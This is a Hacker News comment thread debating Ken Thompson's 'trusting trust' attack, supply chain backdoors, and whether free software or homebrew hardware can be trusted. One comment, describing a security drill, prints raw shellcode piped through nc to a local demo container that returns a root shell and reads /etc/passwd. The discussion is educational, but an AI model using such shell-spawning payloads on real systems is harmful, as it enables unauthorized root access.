Hacker News Reader

Comment by glandium | Hacker News Reader

Trusting trust all the way down: How do you trust your assembler to output the exact machine code corresponding to the source? How do you trust whatever program you might use to do the validation? Ok, let's skip the assembler and write machine code directly. How do you trust the program you use to write that machine code? How do you even trust the firmware will execute your machine code in the way you intend?

View on HN

You break out the handy old electron microscope and check that the bits written are what you expect.

Your joke is funny, but it's also not a complete joke. I worked at a company that was running out of funds shortly after firing me, well I kind of fired myself, but I was gone. They had a beautiful electron microscope, and figured why don't we pivot to something involving chips?

In all fairness, we shouldn’t be trusting ourselves, even. (Not always, anyway.)

...and instead, trust the megacorps?

That's how my mental autocomplete goes, and it is a really disturbing train of thought because this is how dystopia starts.

"Sometimes I'm so sneaky, I don't even trust myself", - Dick Dastardly

You write tests.

How do you detect a backdoor inserted in the login program with a test? You'd have to know the backdoor password to write the test. Perhaps you haven't read Thompson's Turing Award lecture and so you have no idea what we're talking about.

Not sure if it would work, but wouldn't it greatly complicate creating a backdoor when the host's memory is very heavily constrainted? e.g. an AVR-based "computer" that would hardly do much more than actually translate assembly to machine code?

It would probably be easier to detect, but when Thompson deployed the attack in practice, nobody noticed, even though the PDP-11 address space was the same size as an AVR's, and the CPU was a lot slower. (AVRs invariably have much less physical RAM installed than a PDP-11, but you'd need some external memory to get a C compiler to build.)

Another Ken Thompson style hack, but on an AT&T 3B2: https://www.quora.com/What-is-a-coders-worst-nightmare/answe...

Supply chain attacks are fun.

Here's an old security drill I ran at my previous job: https://github.com/mkmik/echo-server

Follow the instructions on the README to build and run the docker container and then send a magic payload to the port and you'll get a root shell:

    $ (echo -e "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"; cat) | nc localhost 1234
    # head /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Now stare back at the https://github.com/mkmik/echo-server and try to figure out what's going on (no, it's not a buffer overflow, that's just a misdirection, and a quite effective one btw, so in order to not waste your time, I'm going to reveal that this is a supply chain attack)

So, I'm guessing it's in:

https://hub.docker.com/r/mkmik/debian-base-buildpack/ ?

And you updated it just after making this comment? Is the source available - bit difficult to research repos on mobile...

This is what I don't understand about Stallman. Even if we all agree to use free software, that's only the beginning. The next step is nobody is going to use web applications anymore. Okay now that we're all liberated from corporate espionage what about how the software is made. You can't trust package maintainers any more than you can trust companies. So we all use GNU/Gentoo. As you said, the compiler may be compromised too. Well you learn the dark art of compiling a compiler. But wait, your entire computer is a black box with no schematics whatsoever. Rinse and repeat.

This is just a long-winded way of saying "if you can't solve everything, don't solve anything", which is no way to approach problems.

No, you've missed the point. Don't you understand? The software cannot be trusted whatsoever unless you control the entire stack. So you haven't solved anything. Also, if you think a paragraph is long winded then I'm sure you have never listened to Stallman.

You can't control when an apocalypse happens, so you might as well just not prepare for it.

That's essentially the same argument, which is ridiculous. Of course you can. And you should. Just because you can't control the entirety of a system, doesn't mean you can't take steps to minimize risks and exposure, and shrink the attack surface.

That is a stupid analogy. I'm talking about a machine. You are not in control unless you build the machine yourself. Even if you were provided schematics, you cannot be sure they are accurate. The point is free software does not minimize risk. It's a false sense of security.

For things you actually care about, such a surveillance, what if I told you there is a hardware backdoor in your CPU allowing the government to spy on you? Do you realize that is already known? What about the fingerprint scanner. How can you be sure the same is not true of the hardware storing that information?

I built a CPU myself out of 74xx logic, but I can't be sure that every input on every chip isn't also connected internally to an integrated computer that stores everything it sees and can transmit it to a van at 20 metres range (easily enough for someone to drive up to my house and retrieve the contents periodically).

The attacker can then reconstruct everything that happened on the CPU and work out what I've been up to. Or, more likely, throw away almost everything and only look at what was printed to the console, because everything interesting goes to the console anyway.

In fact this would be easier-than-average to achieve because the clock speed is low, I don't run the machine for very long or very often, and the density of actual electronics to "free space" on the ICs is very low (more space for shenanigans), and all my schematics are on my github project so even though you don't know which chip is connected to which other, you shouldn't have too much trouble deriving it.

So what now? Do we just give up? Is all computing fundamentally impossible? Or do we accept that nothing is perfect and just get on with it?

You are not smart enough to understand his analogy.

The point is, only my point is valid and anybody that cannot see that is stupid.

There, I think replicated the level of snark and useful discourse fairly well.

> The next step is nobody is going to use web applications anymore.

Well, we should certainly be wary of falling into the trap known as "Service as a Software Substitute (SaaSS)"[0], but in principle it is possible for a web app to work entirely on the client side and be distributed under a Free licence (and for the browser to enforce that, if the web developer is careful).[1]

> You can't trust package maintainers any more than you can trust companies.

The point is, if you have the source code, you don't have to trust the package maintainers. Instead you can trust whoever you choose to audit the source code for you, which might be yourself (if you're very skilled, and very untrusting), or it could be the community.

I admit that "trust the community" usually means "Assume that someone somewhere will find any critical bugs before they affect you, and assume that developers won't destroy their reputation when they know they'll eventually get caught", but we are slowly moving towards a system of community code reviews for all Free software[2]. (Obviously reproducible builds, and boostrappable builds, are necessary steps to take full advantage of this).

> But wait, your entire computer is a black box with no schematics whatsoever. Rinse and repeat.

Nope, that's the final step (unless you think the aliens that built this simulation put backdoors into the laws of physics). As for how we trust hardware, fortunately there are projects to make computers out of chips that can be safely reasoned about. You have to ask yourself what your threat model is.

Do you think the NSA is hiding a hardware backdoor in every FPGA, which detects when someone is running a compilation process and makes sure to install a software backdoor in any compiler or kernel it detects? What if multiple people on multiple homebrew computers all carried out the same build process and hashed the results, and all the hashes agreed? What if you ran these processes in virtual machines that implement custom architectures that have never been seen before? Eventually you start to run into information-theoretic problems trying explain how such a backdoor can remain hidden and effective.

[0] https://www.gnu.org/philosophy/who-does-that-server-really-s...

[1] https://www.gnu.org/software/librejs/index.html

[2] https://github.com/crev-dev/crev

> if you have the source code, you don't have to trust the package maintainers

I wouldn't go that far. It's possible for a skilled malicious developer to conceal malicious behaviour in their code, to make it hard to detect and plausibly deniable as a bug.

Speaking of which, I've never understood why SELinux is adopted so uncritically considering it was developed by the government agency behind [0].

[0] https://www.schneier.com/blog/archives/2013/09/the_nsa_is_br...

Reply on news.ycombinator.com